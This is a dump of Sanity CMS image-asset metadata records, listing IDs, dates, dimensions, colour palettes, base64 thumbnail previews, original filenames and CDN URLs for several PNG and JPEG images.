{"_createdAt":"2022-12-05T15:47:56Z","_id":"image-3fd9a3a3fecf995cdc906aa1b6a03d00a7851506-1200x1108-png","_rev":"K0rtrsNuqDEgCtVQGwGpFI","_type":"sanity.imageAsset","_updatedAt":"2022-12-15T16:19:44Z","assetId":"3fd9a3a3fecf995cdc906aa1b6a03d00a7851506","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDN@c@}=8w%g0|osr=[BEgF{00:+3=1~OYl9wHEMt,rYB:Fw0zwb;M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0830324909747293,"height":1108,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e3f50","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#911a15","foreground":"#fff","population":0.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5f1c","foreground":"#fff","population":22.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bebdbd","foreground":"#000","population":10.69,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa473e","foreground":"#fff","population":8.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c74ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5f1c","foreground":"#fff","population":22.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3fd9a3a3fecf995cdc906aa1b6a03d00a7851506-1200x1108.png","path":"images/sczeoy4w/production/3fd9a3a3fecf995cdc906aa1b6a03d00a7851506-1200x1108.png","sha1hash":"3fd9a3a3fecf995cdc906aa1b6a03d00a7851506","size":512659,"uploadId":"OqsNOD0KlVpK6KN40sZ3BqZkXW9qS4xW","url":"https://cdn.sanity.io/images/sczeoy4w/production/3fd9a3a3fecf995cdc906aa1b6a03d00a7851506-1200x1108.png"} {"_createdAt":"2022-11-09T11:35:05Z","_id":"image-4008bd6ce920ba0acd8ad6774726bb334a8622b0-2018x1118-png","_rev":"AgVn9c2bYty4stE1QsABQa","_type":"sanity.imageAsset","_updatedAt":"2022-11-09T11:56:57Z","altText":null,"assetId":"4008bd6ce920ba0acd8ad6774726bb334a8622b0","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8050089445438282,"height":1118,"width":2018},"exif":{"PixelXDimension":2018,"PixelYDimension":1118,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABU0lEQVQokXWSjY6jMAyEef+3rKpW19XRZZckjv8yJ7uFllst0idDCOPBmUlEoapwd4wxEowBM0NrDV9f3w++H5RaoWrPvcgqIrmXiDDV1tCIctFMYe5wH1njQ1HdicbR6L25uaNRw+eyJNNaCkopaFTRmdCF0VXBai/MITv2A346DFJwLStar2ChpEtHV05xSiTpWbe1eC/gcP3meAp3pazo3GAucOuwN1Q7RBlqDEve3zPMFR7DfF5TrRWlrmAmuBtGojvu4SBmF82OxJrF/qe7dBiHEqIiHWO8rG9E9ziQ2irWdT1QakFn3h2m4DZMVfkhtkGd8Xeecb1ecblcdm4fHxmjOPX/BCkj8ZtguJjnOUXO5zNOp1Py53ZD/OHBYYQx2MIdPLL4umfRjNayLLjf7+k2GkTQO8tRkJlTMGo4Ier5/KKjJZSjqfUxooQiYkfBf8uHXGyOL1UbAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#616263","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#737210","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#616263","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4ccac","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f3b4","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dedb20","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"business-8-messages.png","path":"images/sczeoy4w/production/4008bd6ce920ba0acd8ad6774726bb334a8622b0-2018x1118.png","sha1hash":"4008bd6ce920ba0acd8ad6774726bb334a8622b0","size":223565,"title":null,"uploadId":"McdJUqTIrFHWLyoFNQ3eSaCMvNv8MFKw","url":"https://cdn.sanity.io/images/sczeoy4w/production/4008bd6ce920ba0acd8ad6774726bb334a8622b0-2018x1118.png"} {"_createdAt":"2023-09-12T05:28:39Z","_id":"image-401adbba6f0e53ec4d6470325609a44b55aa81fa-1200x628-png","_rev":"jBJgpqpGruZvOgVMUIc4IH","_type":"sanity.imageAsset","_updatedAt":"2023-09-12T05:28:39Z","assetId":"401adbba6f0e53ec4d6470325609a44b55aa81fa","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACn0lEQVQokU2R2U4TAQBF+wMuCC3tMENhWma6IJSWsLQs0gUZKFtHIEhUlkDSgKylLG0pa4tgBdEHY9SYaDSaqPFFo3/hFx0DJurTfTu5515DkWUYm3sKb/M8vsASnqZlvP4kjW1pWkK7tIQP8AdzBMJH1Lc+wF67h1qXJ9R9xvjUcyZmXtF28zEV7iwW+wYGozSKp3GOoLZBuCdDqHuLSHSPrv48Uf0hPfoJ3bFToree0qGd4vEf0Tv8gkzmHc8Kr/j49juHhZ+0a08R1QwGU/ltfP55OnvTaAPb9Azu0z2QQxs4JKoXiP4HbO86IRB5TCL1hSenbzhOZfn85gPffvxiZuET8vXcv4YhbZPO3i26+nYJaju0hLK0RvZojZzr5i+UPc05moInLCbfs7Kc41bPKImFDC9f/2Au8RXF+wjD+YYV6jgub5zq+jlqGhZx1i0iu+apdC0hu1eR3evI1SnKnWkcvhza4CP6+hfo7NAZHY4TnztD059jqy1guGTUuWIe4powQrE4hlG6R4k0SbE4TYkUx2i9j6lyCbO8isW2geTI4vLtEmhLMti7yMjQBjciOyh1e0iO/XNgjMtGnaulQxRZRikS7lAsTmCyzmCunMUiL2CWlzHbVi9ePAc6fYc0dxQIa8e0hfM4vduIShqhKoOhyBRDEnQq5TGsyiSCbYpyNY7Ds4zbt4bLu4lcvU5ZVfICaHVuU9P0kObgGQ3tBa43HmCvySKqmwhVKQzXTIPIYgyHege7expJmUZ2zVLTkMQXyOD1Z3HUpRCVtb8N7bU5HN48cnUWq3MTUV1HqFpDUNIYLhtjFJfqGMtGMEpjlIh3MVmnEGxxJGWecnUFUUlgsf9RLlO2ENWdizTb1iiVE5TKK5htScrULL8B3lZ6vyezuG8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#272c58","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04156a","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4d3e4","foreground":"#000","population":10.73,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d3e4","foreground":"#000","population":10.73,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b82c3","foreground":"#fff","population":0.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696b91","foreground":"#fff","population":3.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2684","foreground":"#fff","population":6.77,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Social Banner eFishery Arif.png","path":"images/sczeoy4w/production/401adbba6f0e53ec4d6470325609a44b55aa81fa-1200x628.png","sha1hash":"401adbba6f0e53ec4d6470325609a44b55aa81fa","size":261942,"uploadId":"m3rTmmZ77wSYRZTdObt9KkD785Wvprhm","url":"https://cdn.sanity.io/images/sczeoy4w/production/401adbba6f0e53ec4d6470325609a44b55aa81fa-1200x628.png"} {"_createdAt":"2022-10-14T09:34:52Z","_id":"image-401b9099922650bb2057373cc871d73dcfafd63b-1359x1091-png","_rev":"7DeyPwpQZB2IZxALzqsNyD","_type":"sanity.imageAsset","_updatedAt":"2022-10-14T09:44:19Z","altText":"A photograph of the Catalysts group at Current 2022","assetId":"401b9099922650bb2057373cc871d73dcfafd63b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.245646196150321,"height":1091,"width":1359},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAADmElEQVQokQXBWU/bBgAAYP+DTVOZ2EogCXGOOj5ix47P2A52YhwScJzbuUkgdykwMmg4tgamFigahW5EfelYV03THniaVGnSXqb9rX0fAJMQQsEUH6rWitPbs9+mry4H9Ukq9v2q1Vev8vxDTfilLx/uRivjePw4Lp3k9OkP3z78/tPH91cARPhg0h/kSMvK3L4+uX97drPdvGuY08Zw37jP8f/k2L+b0scjY3JTq9/WEq+b6ffn44df37x7OwF8uAcmIVEMDcq566PR+eHu2Ub95/X63frRaPXPLPdvgvyvyP91krmebgzebeZuu9b95ODDxdHz7RbgRlwYCVkJ+WbQvhuNh9VWJZrd0RsHye966h+W8EknPsWJD93YeJyuH2WMcTF91m6PG9W4IgNOyIEF4VIidt7tX2ydWCvrIZ+m+deq9FaZuUpRP0rwjeifZIWGyenRgBAhxCinK1w0gNEAQXgZCl8SlWKq3Cn2EuGMz86GQbGIpbUnFmo3YXtVhltpzqR99NzMk9kZxGYj7Q7S7sABQ8ENmeZpcVlNbqRyZkRH3ZTooyshRUclcA5HHGIETUrIkseGPPrMZfsSgUDa7aLcbgpQWV9WJiMUHWPDvdWVDcOUmOhSQOhEtZKkYi487KczvCpjgn8OWvzcidgCYTTMEJKmJAGXZ04gIBbDKThgiFIlXYgqSYUOd4xUMZb0OlACRE2OT4QYBYTIL+z+GQgBGTYopfQEsOCYdYNOrxvyehCa5PRlQ5I1JsiYWnKJU7+eBR/PLqI+nMeCMb+fm7FDj3wEKquSGmEpgHDPQY55dNFFQogQ4sz4ampljQsJEiuzlDA/7/vqsXfBiaIIGWcYZdEnuIhMMlcvZBQaAwwWDII2BrQnQng2pu3Wyj3LonAO8uJ0kIG8hAvEF91EkORXVWUZCyZoqbfe/KZTKcQYYDOJMrAT94AFVX5WsQ67G1Uj5XHCzgUvjeEhGCcxNoCLPC/pEh8JYGtSpN+ojTpWyxCAg3UtroTDklbJl553Wgf9djGVCmFYmMCSYijKECLFSnzEXI6UVriUSJQ1abua3q6vFTQKeLXfrFfKRr7ZaA1G/fbpaHi80x6W41ul2E413jLlrMYWdH5YlEe1pa28sFeMnHaN/WbCWqaAi71iu5o3c9Vao/d0s/Fiu3593LkclS5385d7pdOhMW6phy3lbKC9fKpPutEX7ejljvnymTGqyv8D0zckE1CHZMwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b4139","foreground":"#fff","population":5.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d0f2a","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b4139","foreground":"#fff","population":5.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5c7ad","foreground":"#000","population":0.49,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eda88a","foreground":"#000","population":1.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f644e","foreground":"#fff","population":1.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c3fc0","foreground":"#fff","population":5.19,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"content-2022-catalysts.png","path":"images/sczeoy4w/production/401b9099922650bb2057373cc871d73dcfafd63b-1359x1091.png","sha1hash":"401b9099922650bb2057373cc871d73dcfafd63b","size":631176,"title":"The Catalysts group","uploadId":"HNT3u4BVNXabdCrnGRlFzTw6YKJc5joH","url":"https://cdn.sanity.io/images/sczeoy4w/production/401b9099922650bb2057373cc871d73dcfafd63b-1359x1091.png"} {"_createdAt":"2022-11-17T13:39:02Z","_id":"image-40648b8115dc1de79988385c9862b256266460bb-1999x1143-png","_rev":"YI3rks3mbRtnzMpdnM7HbU","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:39:02Z","assetId":"40648b8115dc1de79988385c9862b256266460bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7489063867016623,"height":1143,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7UlEQVQokW2TbWvbMBRG8///yH7CBvvSr4N2acqStqRtmibyi2T5LZZlS7LPsLOwlE1wuHDhHj+6wgtXV1R5TlkWGGNo2xZj2rn2vSOEAWt78rxGqZJMlXNVskDKYq6X/sRi8B7TGKRURFE8I0RMkqScTie891jbUWYZxXFHId7RqUSlGWkskYkikxqt8pkFMA9Nw1rnaK3JMk1RlLNoCIHOWk7xDrP+jnm8oYr35EqhpUTHCeVBUIqIQkoW4zgyMQzDLL4QQpj74zDQtwazf6C7/YJdf6OM9xQ6p64qWqWxj1uazRNVdPwrHMeBEDzeuVk4fWA6U9+ZmvZjRbf+SvO+RMtkvkVd13RlRb99xazXnMT754ST0F0JLwmdqWiTV1rxyEkJdDatJaeqT1hjsCqhObzSxLvrhP8yJ5xWYUqs3M80uSTPFLlWmKbCdQZbKprkjTZ+OT8K0/B5/upchIFgCnr5Rpe8YLMDTXbAZi/4coerIlr1gRHP2OiJxcUz1f8nDIRG49ItfbyhT55xyQYf3+HiO2z0i0ZsaMWaPtp83uE1YxgYh2mHgaHJCOkTPnr4wwovljixpDuu6A4r+o973O7nWRh8wHU9ru/PjzL9Ib1j8IExeMZGMaQbglgSxP0n/MRxid/+wN3e8BsULkkSOJrIngAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6a6a6c","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f4205","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fce4d4","foreground":"#000","population":7.6,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcc8b3","foreground":"#000","population":0.79,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce4d4","foreground":"#000","population":7.6,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0a872","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b066","foreground":"#000","population":1.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image1.png","path":"images/sczeoy4w/production/40648b8115dc1de79988385c9862b256266460bb-1999x1143.png","sha1hash":"40648b8115dc1de79988385c9862b256266460bb","size":369358,"uploadId":"lnntYExpnSwXwaOV0SlVNdLV7d6Bfa61","url":"https://cdn.sanity.io/images/sczeoy4w/production/40648b8115dc1de79988385c9862b256266460bb-1999x1143.png"} {"_createdAt":"2023-10-18T14:48:10Z","_id":"image-407244e17dea6d904c677d342fa5d21d7d0c1ffc-1824x1026-jpg","_rev":"kfl1F24L65Nzg04H5HM3e8","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T14:48:10Z","assetId":"407244e17dea6d904c677d342fa5d21d7d0c1ffc","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC8DA1|.$eE*1KokjVj?axbJ1Q5,J6-A],","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1026,"width":1824},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQDBQf/xAAfEAACAgICAwEAAAAAAAAAAAABAgADBBEhQQUUFnH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBv/EAB0RAAICAgMBAAAAAAAAAAAAAAIRAAEDYRITkVH/2gAMAwEAAhEDEQA/AMYx/FYnzjeROantK+vX7IiCZJ2AtNfPcTr7kgvsAADcfko8NHjbJu/NQMpia4ilXu45bmtSwRVqYa3xCV1jMzbY7MI/cf2Cqn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#354479","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a01f06","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4500a","foreground":"#fff","population":4.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8c480c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4b782","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c65ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4500a","foreground":"#fff","population":4.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"cost-optimization.jpg","path":"images/sczeoy4w/production/407244e17dea6d904c677d342fa5d21d7d0c1ffc-1824x1026.jpg","sha1hash":"407244e17dea6d904c677d342fa5d21d7d0c1ffc","size":45332,"uploadId":"ePC9NcEwEB5Lfku1dVlwWudWsfjNRQos","url":"https://cdn.sanity.io/images/sczeoy4w/production/407244e17dea6d904c677d342fa5d21d7d0c1ffc-1824x1026.jpg"} {"_createdAt":"2024-07-03T08:42:45Z","_id":"image-4074d3af5766a68234a4a07d86be718c6932dbf2-709x591-jpg","_rev":"dL4QB5BmM9bhrJSKRq5CeL","_type":"sanity.imageAsset","_updatedAt":"2024-07-03T08:42:45Z","assetId":"4074d3af5766a68234a4a07d86be718c6932dbf2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQIXy:kqtRt7f+~q_2%MR-W=Io%Mt7t7ayxbWFxbofRj%Mt7jcozj]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1996615905245347,"height":591,"width":709},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAARABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAcDBAYI/8QAKBAAAQQCAAQFBQAAAAAAAAAAAgABAwQFEQYSITQHEyMxMkFRYXFy/8QAGAEAAgMAAAAAAAAAAAAAAAAAAgMAAQT/xAAbEQEAAgIDAAAAAAAAAAAAAAAAAQISMREhIv/aAAwDAQACEQMRAD8AqOQ4mlvXBp29bJicHZte3RTq3j7laWwcVeYHkJhYhb5KbYnxBnjiij84juBHyset76ql8O5bLFSe1bu1JYi9Tkc25hH7LJPjZ9Kc9Q3sHirVWgwHYLZE56Jurb+iLKPFGPkFiGUXZ/yimUDwl5YxPej+l0+O7p/5REy66adXR7cUREJj/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e4031","foreground":"#fff","population":5.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c7418","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e4031","foreground":"#fff","population":5.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc2b0","foreground":"#000","population":3.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8cbb0","foreground":"#000","population":0.39,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d8764","foreground":"#fff","population":3.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ad32b","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Bakcmarket1.jpeg","path":"images/sczeoy4w/production/4074d3af5766a68234a4a07d86be718c6932dbf2-709x591.jpg","sha1hash":"4074d3af5766a68234a4a07d86be718c6932dbf2","size":115820,"uploadId":"pnRN2FIRfdObzFROU4DxyGjolhjUT8cg","url":"https://cdn.sanity.io/images/sczeoy4w/production/4074d3af5766a68234a4a07d86be718c6932dbf2-709x591.jpg"} {"_createdAt":"2022-06-14T14:41:15Z","_id":"image-4079517ada2168a342f8c69c09fd356062f942be-4908x3056-jpg","_rev":"oamrAPLmQLQjd9jh7YpzdS","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:15Z","assetId":"4079517ada2168a342f8c69c09fd356062f942be","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VYM%T8x^~p%hDi-2jDITRiNL9EadV[WA-;x^kCbJkCM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.606020942408377,"height":3056,"width":4908},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcCBQb/xAAlEAABBAEDAgcAAAAAAAAAAAACAQMEBQAGESESMQcIExUiUXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBf/EABwRAQACAQUAAAAAAAAAAAAAAAEAAgMEERQhQf/aAAwDAQACEQMRAD8Aa19Ue16cn2PSICw0RIXWvHHfMf4ciVxNbjlMKUT8b1tnDXvvyqZVeZ+/soLVdXQ5JMxHxVXQDjr/AHF45dz9O6m0q/UPqw4cdsS27Eiryi4XhYzo9iTUWRWO21hMRZptOMbkP04uGQ1E6TlkpkvyIUVcMlWxgxhZ2n//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543f32","foreground":"#fff","population":1.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041418","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#af8d59","foreground":"#fff","population":4.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3bab1","foreground":"#000","population":3.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecca92","foreground":"#000","population":4.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af8d59","foreground":"#fff","population":4.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#967340","foreground":"#fff","population":3.08,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DSC_0672_1.jpg","path":"images/sczeoy4w/production/4079517ada2168a342f8c69c09fd356062f942be-4908x3056.jpg","sha1hash":"4079517ada2168a342f8c69c09fd356062f942be","size":460030,"uploadId":"WOjnuIfNNbKBQ2j5z1ao2ZRFPYX7uwwH","url":"https://cdn.sanity.io/images/sczeoy4w/production/4079517ada2168a342f8c69c09fd356062f942be-4908x3056.jpg"} 